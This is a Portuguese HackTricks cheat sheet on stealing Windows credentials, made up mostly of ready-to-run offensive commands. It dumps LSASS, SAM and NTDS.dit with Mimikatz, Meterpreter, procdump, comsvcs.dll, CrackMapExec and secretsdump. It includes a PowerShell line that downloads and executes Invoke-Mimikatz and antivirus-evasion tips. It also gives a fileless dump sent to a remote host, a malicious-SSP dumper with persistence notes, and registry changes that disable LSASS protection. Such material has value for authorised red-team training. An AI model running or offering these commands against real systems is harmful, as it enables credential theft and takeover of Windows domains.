Roubando Credenciais do Windows
Tip
Aprenda e pratique Hacking AWS:
HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique Hacking GCP:HackTricks Training GCP Red Team Expert (GRTE)
Aprenda e pratique Hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Supporte o HackTricks
- Confira os planos de assinatura!
- Junte-se ao 💬 grupo do Discord ou ao grupo do telegram ou siga-nos no Twitter 🐦 @hacktricks_live.
- Compartilhe truques de hacking enviando PRs para o HackTricks e HackTricks Cloud repositórios do github.
Credenciais Mimikatz
#Elevate Privileges to extract the credentials
privilege::debug #This should give am error if you are Admin, butif it does, check if the SeDebugPrivilege was removed from Admins
token::elevate
#Extract from lsass (memory)
sekurlsa::logonpasswords
#Extract from lsass (service)
lsadump::lsa /inject
#Extract from SAM
lsadump::sam
#One liner
mimikatz "privilege::debug" "token::elevate" "sekurlsa::logonpasswords" "lsadump::lsa /inject" "lsadump::sam" "lsadump::cache" "sekurlsa::ekeys" "exit"
Encontre outras funcionalidades que o Mimikatz pode executar em this page.
Invoke-Mimikatz
IEX (New-Object System.Net.Webclient).DownloadString('https://raw.githubusercontent.com/clymb3r/PowerShell/master/Invoke-Mimikatz/Invoke-Mimikatz.ps1')
Invoke-Mimikatz -DumpCreds #Dump creds from memory
Invoke-Mimikatz -Command '"privilege::debug" "token::elevate" "sekurlsa::logonpasswords" "lsadump::lsa /inject" "lsadump::sam" "lsadump::cache" "sekurlsa::ekeys" "exit"'
Saiba mais sobre algumas possíveis proteções para credentials aqui. Essas proteções podem impedir que Mimikatz extraia algumas credentials.
Credentials com Meterpreter
Use o Credentials Plugin que eu criei para procurar passwords e hashes na vítima.
#Credentials from SAM
post/windows/gather/smart_hashdump
hashdump
#Using kiwi module
load kiwi
creds_all
kiwi_cmd "privilege::debug" "token::elevate" "sekurlsa::logonpasswords" "lsadump::lsa /inject" "lsadump::sam"
#Using Mimikatz module
load mimikatz
mimikatz_command -f "sekurlsa::logonpasswords"
mimikatz_command -f "lsadump::lsa /inject"
mimikatz_command -f "lsadump::sam"
Contornando AV
Procdump + Mimikatz
Como Procdump from SysInternals é uma ferramenta legítima da Microsoft, não é detectado pelo Defender.
Você pode usar esta ferramenta para dump the lsass process, download the dump e extract as credentials locally do dump.
Você também pode usar SharpDump.
#Local
C:\procdump.exe -accepteula -ma lsass.exe lsass.dmp
#Remote, mount https://live.sysinternals.com which contains procdump.exe
net use Z: https://live.sysinternals.com
Z:\procdump.exe -accepteula -ma lsass.exe lsass.dmp
# Get it from webdav
\\live.sysinternals.com\tools\procdump.exe -accepteula -ma lsass.exe lsass.dmp
//Load the dump
mimikatz # sekurlsa::minidump lsass.dmp
//Extract credentials
mimikatz # sekurlsa::logonPasswords
This process is done automatically with SprayKatz: ./spraykatz.py -u H4x0r -p L0c4L4dm1n -t 192.168.1.0/24
Note: Alguns AV podem detectar como malicioso o uso de procdump.exe to dump lsass.exe, isso acontece porque eles estão detectando a string “procdump.exe” and “lsass.exe”. Portanto é mais stealthier passar como argumento o PID de lsass.exe para o procdump instead of o name lsass.exe.
Dumping lsass com comsvcs.dll
Uma DLL chamada comsvcs.dll encontrada em C:\Windows\System32 é responsável por dumping process memory no caso de um crash. Essa DLL inclui uma função chamada MiniDumpW, projetada para ser invocada usando rundll32.exe.
Não importa o uso dos dois primeiros argumentos, mas o terceiro é dividido em três componentes. O PID do processo a ser dumpado constitui o primeiro componente, o local do arquivo de dump representa o segundo, e o terceiro componente é estritamente a palavra full. Não existem opções alternativas.
Ao analisar esses três componentes, a DLL cria o arquivo de dump e transfere a memória do processo especificado para esse arquivo.
A utilização da comsvcs.dll é viável para dumping do processo lsass, eliminando assim a necessidade de enviar e executar procdump. Esse método é descrito em detalhe em https://en.hackndo.com/remote-lsass-dump-passwords/.
The following command is employed for execution:
rundll32.exe C:\Windows\System32\comsvcs.dll MiniDump <lsass pid> lsass.dmp full
Você pode automatizar esse processo com lssasy.
Dumping lsass com Task Manager
- Clique com o botão direito na Barra de Tarefas e clique em Task Manager
- Clique em More details
- Procure o processo “Local Security Authority Process” na aba Processes
- Clique com o botão direito no processo “Local Security Authority Process” e clique em “Create dump file”.
Dumping lsass com procdump
Procdump é um binário assinado pela Microsoft que faz parte da suíte sysinternals.
Get-Process -Name LSASS
.\procdump.exe -ma 608 lsass.dmp
Despejando lsass com PPLBlade
PPLBlade é uma Protected Process Dumper Tool que suporta ofuscar dumps de memória e transferi-los para estações de trabalho remotas sem gravá-los no disco.
Funcionalidades principais:
- Contornar a proteção PPL
- Ofuscar arquivos de dump de memória para evitar mecanismos de detecção baseados em assinaturas do Defender
- Fazer o upload de dumps de memória usando métodos RAW e SMB sem gravá-los no disco (fileless dump)
PPLBlade.exe --mode dump --name lsass.exe --handle procexp --obfuscate --dumpmode network --network raw --ip 192.168.1.17 --port 1234
LalsDumper – SSP-based LSASS dumping without MiniDumpWriteDump
Ink Dragon fornece um dumper de três estágios chamado LalsDumper que nunca chama MiniDumpWriteDump, portanto hooks de EDR nessa API nunca disparam:
- Stage 1 loader (
lals.exe) – procura emfdp.dllpor um placeholder composto por 32 caracteresdminúsculos, sobrescreve-o com o caminho absoluto parartu.txt, salva a DLL patchada comonfdp.dlle chamaAddSecurityPackageA("nfdp","fdp"). Isso força o LSASS a carregar a DLL maliciosa como um novo Security Support Provider (SSP). - Stage 2 inside LSASS – quando o LSASS carrega
nfdp.dll, a DLL lêrtu.txt, XORa cada byte com0x20e mapeia o blob decodificado na memória antes de transferir a execução. - Stage 3 dumper – o payload mapeado reimplementa a lógica do MiniDump usando direct syscalls resolvidos a partir de nomes de API hasheados (
seed = 0xCD7815D6; h ^= (ch + ror32(h,8))). Um export dedicado chamadoTomabre%TEMP%\<pid>.ddt, grava um dump comprimido do LSASS no arquivo e fecha o handle para que a exfiltração possa ocorrer depois.
Operator notes:
- Mantenha
lals.exe,fdp.dll,nfdp.dllertu.txtno mesmo diretório. O Stage 1 reescreve o placeholder hard-coded com o caminho absoluto parartu.txt, então separá-los quebra a cadeia. - O registro acontece adicionando
nfdpemHKLM\SYSTEM\CurrentControlSet\Control\Lsa\Security Packages. Você pode pré-sementar esse valor para fazer o LSASS recarregar o SSP a cada boot. - Arquivos
%TEMP%\*.ddtsão dumps comprimidos. Descomprima localmente e então alimente-os no Mimikatz/Volatility para extração de credenciais. - Executar
lals.exerequer direitos admin/SeTcb para queAddSecurityPackageAtenha sucesso; uma vez que a chamada retorna, o LSASS carrega silenciosamente o SSP malicioso e executa o Stage 2. - Remover a DLL do disco não a expulsa do LSASS. Ou delete a entrada de registro e reinicie o LSASS (reboot) ou deixe-a para persistência de longo prazo.
CrackMapExec
Dump SAM hashes
cme smb 192.168.1.0/24 -u UserNAme -p 'PASSWORDHERE' --sam
Dump segredos do LSA
cme smb 192.168.1.0/24 -u UserNAme -p 'PASSWORDHERE' --lsa
Dump o NTDS.dit do DC alvo
cme smb 192.168.1.100 -u UserNAme -p 'PASSWORDHERE' --ntds
#~ cme smb 192.168.1.100 -u UserNAme -p 'PASSWORDHERE' --ntds vss
Dump o histórico de senhas do NTDS.dit do target DC
#~ cme smb 192.168.1.0/24 -u UserNAme -p 'PASSWORDHERE' --ntds-history
Exibir o atributo pwdLastSet para cada conta do NTDS.dit
#~ cme smb 192.168.1.0/24 -u UserNAme -p 'PASSWORDHERE' --ntds-pwdLastSet
Stealing SAM & SYSTEM
Esses arquivos devem estar localizados em C:\windows\system32\config\SAM e C:\windows\system32\config\SYSTEM. Mas você não pode simplesmente copiá‑los de forma convencional porque eles são protegidos.
Do Registro
A maneira mais fácil de roubar esses arquivos é obter uma cópia do registro:
reg save HKLM\sam sam
reg save HKLM\system system
reg save HKLM\security security
Faça o download desses arquivos para sua máquina Kali e extraia os hashes usando:
samdump2 SYSTEM SAM
impacket-secretsdump -sam sam -security security -system system LOCAL
Volume Shadow Copy
Você pode copiar arquivos protegidos usando este serviço. É necessário ser Administrador.
Using vssadmin
O binário vssadmin está disponível apenas nas versões do Windows Server
vssadmin create shadow /for=C:
#Copy SAM
copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy8\windows\system32\config\SAM C:\Extracted\SAM
#Copy SYSTEM
copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy8\windows\system32\config\SYSTEM C:\Extracted\SYSTEM
#Copy ntds.dit
copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy8\windows\ntds\ntds.dit C:\Extracted\ntds.dit
# You can also create a symlink to the shadow copy and access it
mklink /d c:\shadowcopy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\
Mas você pode fazer o mesmo a partir do Powershell. Este é um exemplo de como copiar o SAM file (a unidade utilizada é “C:” e o arquivo é salvo em C:\users\Public), mas você pode usar isto para copiar qualquer arquivo protegido:
$service=(Get-Service -name VSS)
if($service.Status -ne "Running"){$notrunning=1;$service.Start()}
$id=(gwmi -list win32_shadowcopy).Create("C:\","ClientAccessible").ShadowID
$volume=(gwmi win32_shadowcopy -filter "ID='$id'")
cmd /c copy "$($volume.DeviceObject)\windows\system32\config\sam" C:\Users\Public
cmd /c copy "$($volume.DeviceObject)\windows\system32\config\system" C:\Users\Public
cmd /c copy "$($volume.DeviceObject)\windows\ntds\ntds.dit" C:\Users\Public
$volume.Delete();if($notrunning -eq 1){$service.Stop()}
Código do livro: https://0xword.com/es/libros/99-hacking-windows-ataques-a-sistemas-y-redes-microsoft.html
Invoke-NinjaCopy
Finalmente, você também pode usar o PS script Invoke-NinjaCopy para fazer uma cópia do SAM, SYSTEM e ntds.dit.
Invoke-NinjaCopy.ps1 -Path "C:\Windows\System32\config\sam" -LocalDestination "c:\copy_of_local_sam"
Credenciais do Active Directory - NTDS.dit
O NTDS.dit é conhecido como o coração do Active Directory, contendo dados cruciais sobre objetos de usuário, grupos e suas associações. É onde os password hashes dos usuários de domínio são armazenados. Este arquivo é um banco de dados Extensible Storage Engine (ESE) e reside em %SystemRoom%/NTDS/ntds.dit.
Dentro desse banco de dados, três tabelas principais são mantidas:
- Data Table: Esta tabela é responsável por armazenar detalhes sobre objetos como usuários e grupos.
- Link Table: Mantém o registro de relacionamentos, como associações de grupo.
- SD Table: Aqui são armazenados os security descriptors de cada objeto, garantindo a segurança e o controle de acesso dos objetos armazenados.
Mais informações sobre isto: http://blogs.chrisse.se/2012/02/11/how-the-active-directory-data-store-really-works-inside-ntds-dit-part-1/
O Windows usa Ntdsa.dll para interagir com esse arquivo e ele é usado por lsass.exe. Então, parte do arquivo NTDS.dit pode estar localizada dentro da memória do lsass (você pode encontrar os dados acessados mais recentemente provavelmente por causa da melhora de desempenho ao usar um cache).
Decriptando os hashes dentro do NTDS.dit
O hash é cifrado 3 vezes:
- Decriptar o Password Encryption Key (PEK) usando o BOOTKEY e RC4.
- Decriptar o hash usando PEK e RC4.
- Decriptar o hash usando DES.
O PEK tem o mesmo valor em cada domain controller, mas ele é cifrado dentro do arquivo NTDS.dit usando o BOOTKEY do arquivo SYSTEM do domain controller (é diferente entre domain controllers). É por isso que, para obter as credenciais do arquivo NTDS.dit, você precisa dos arquivos NTDS.dit e SYSTEM (C:\Windows\System32\config\SYSTEM).
Copying NTDS.dit using Ntdsutil
Disponível desde o Windows Server 2008.
ntdsutil "ac i ntds" "ifm" "create full c:\copy-ntds" quit quit
Você também pode usar o truque volume shadow copy para copiar o arquivo ntds.dit. Lembre-se de que você também precisará de uma cópia do arquivo SYSTEM (novamente, dump it from the registry or use the volume shadow copy truque).
Extraindo hashes do NTDS.dit
Depois de ter obtido os arquivos NTDS.dit e SYSTEM, você pode usar ferramentas como secretsdump.py para extrair os hashes:
secretsdump.py LOCAL -ntds ntds.dit -system SYSTEM -outputfile credentials.txt
Você também pode extraí-los automaticamente usando um usuário domain admin válido:
secretsdump.py -just-dc-ntlm <DOMAIN>/<USER>@<DOMAIN_CONTROLLER>
Para arquivos NTDS.dit grandes recomenda-se extraí-los usando gosecretsdump.
Finalmente, você também pode usar o metasploit module: post/windows/gather/credentials/domain_hashdump ou mimikatz lsadump::lsa /inject
Extraindo objetos de domínio do NTDS.dit para um banco de dados SQLite
Os objetos NTDS podem ser extraídos para um banco de dados SQLite com ntdsdotsqlite. Não apenas os secrets são extraídos, mas também os objetos inteiros e seus atributos para posterior extração de informações quando o arquivo NTDS.dit bruto já foi recuperado.
ntdsdotsqlite ntds.dit -o ntds.sqlite --system SYSTEM.hive
O hive SYSTEM é opcional, mas permite a descriptografia de segredos (NT & LM hashes, supplemental credentials such as cleartext passwords, kerberos or trust keys, NT & LM password histories). Juntamente com outras informações, os seguintes dados são extraídos: contas de usuário e de máquina com seus hashes, UAC flags, timestamp do último logon e da alteração de password, descrição das contas, nomes, UPN, SPN, grupos e memberships recursivas, árvore de organizational units e membership, trusted domains com trusts type, direction e attributes…
Lazagne
Faça o download do binary em here. Você pode usar esse binary para extrair credentials de vários softwares.
lazagne.exe all
Outras ferramentas para extrair credenciais do SAM e do LSASS
Windows credentials Editor (WCE)
Esta ferramenta pode ser usada para extrair credenciais da memória. Baixe-a em: http://www.ampliasecurity.com/research/windows-credentials-editor/
fgdump
Extrai credenciais do arquivo SAM
You can find this binary inside Kali, just do: locate fgdump.exe
fgdump.exe
PwDump
Extrair credenciais do arquivo SAM
You can find this binary inside Kali, just do: locate pwdump.exe
PwDump.exe -o outpwdump -x 127.0.0.1
type outpwdump
PwDump7
Faça o download em: http://www.tarasco.org/security/pwdump_7 e apenas execute-o e as senhas serão extraídas.
Mineração de sessões RDP inativas e enfraquecimento dos controles de segurança
Ink Dragon’s FinalDraft RAT includes a DumpRDPHistory tasker whose techniques are handy for any red-teamer:
Coleta de telemetria no estilo DumpRDPHistory
- Alvos RDP de saída – analise cada hive de usuário em
HKU\<SID>\SOFTWARE\Microsoft\Terminal Server Client\Servers\*. Cada subchave armazena o nome do servidor,UsernameHint, e o timestamp da última gravação. Você pode replicar a lógica do FinalDraft com PowerShell:
Get-ChildItem HKU:\ | Where-Object { $_.Name -match "S-1-5-21" } | ForEach-Object {
Get-ChildItem "${_.Name}\SOFTWARE\Microsoft\Terminal Server Client\Servers" -ErrorAction SilentlyContinue |
ForEach-Object {
$server = Split-Path $_.Name -Leaf
$user = (Get-ItemProperty $_.Name).UsernameHint
"OUT:$server:$user:$((Get-Item $_.Name).LastWriteTime)"
}
}
- Evidência RDP de entrada – consulte o log
Microsoft-Windows-TerminalServices-LocalSessionManager/Operationalpara Event IDs 21 (successful logon) e 25 (disconnect) para mapear quem administrou a máquina:
Get-WinEvent -LogName "Microsoft-Windows-TerminalServices-LocalSessionManager/Operational" \
| Where-Object { $_.Id -in 21,25 } \
| Select-Object TimeCreated,@{n='User';e={$_.Properties[1].Value}},@{n='IP';e={$_.Properties[2].Value}}
Uma vez que você saiba qual Domain Admin se conecta regularmente, faça o dump do LSASS (com LalsDumper/Mimikatz) enquanto a sessão deles ainda estiver desconectada. CredSSP + NTLM fallback deixa o verificador e os tokens no LSASS, que podem então ser reproduzidos via SMB/WinRM para obter o NTDS.dit ou preparar persistência em controladores de domínio.
Rebaixamentos no registro visados pelo FinalDraft
O mesmo implant também mexe em várias chaves do registro para facilitar o roubo de credenciais:
reg add HKLM\SYSTEM\CurrentControlSet\Control\Lsa /v DisableRestrictedAdmin /t REG_DWORD /d 1 /f
reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v LocalAccountTokenFilterPolicy /t REG_DWORD /d 1 /f
reg add HKLM\SYSTEM\CurrentControlSet\Control\Lsa /v DSRMAdminLogonBehavior /t REG_DWORD /d 2 /f
reg add HKLM\SYSTEM\CurrentControlSet\Control\Lsa /v RunAsPPL /t REG_DWORD /d 0 /f
- Definir
DisableRestrictedAdmin=1força a reutilização completa de credenciais/tickets durante RDP, permitindo pivôs no estilo pass-the-hash. LocalAccountTokenFilterPolicy=1desativa a filtragem de tokens do UAC para que administradores locais recebam tokens sem restrições pela rede.DSRMAdminLogonBehavior=2permite que o administrador DSRM faça logon enquanto o DC está online, dando aos atacantes outra conta integrada de alto privilégio.RunAsPPL=0remove as proteções LSASS PPL, tornando o acesso à memória trivial para dumpers como LalsDumper.
References
Tip
Aprenda e pratique Hacking AWS:
HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique Hacking GCP:HackTricks Training GCP Red Team Expert (GRTE)
Aprenda e pratique Hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Supporte o HackTricks
- Confira os planos de assinatura!
- Junte-se ao 💬 grupo do Discord ou ao grupo do telegram ou siga-nos no Twitter 🐦 @hacktricks_live.
- Compartilhe truques de hacking enviando PRs para o HackTricks e HackTricks Cloud repositórios do github.


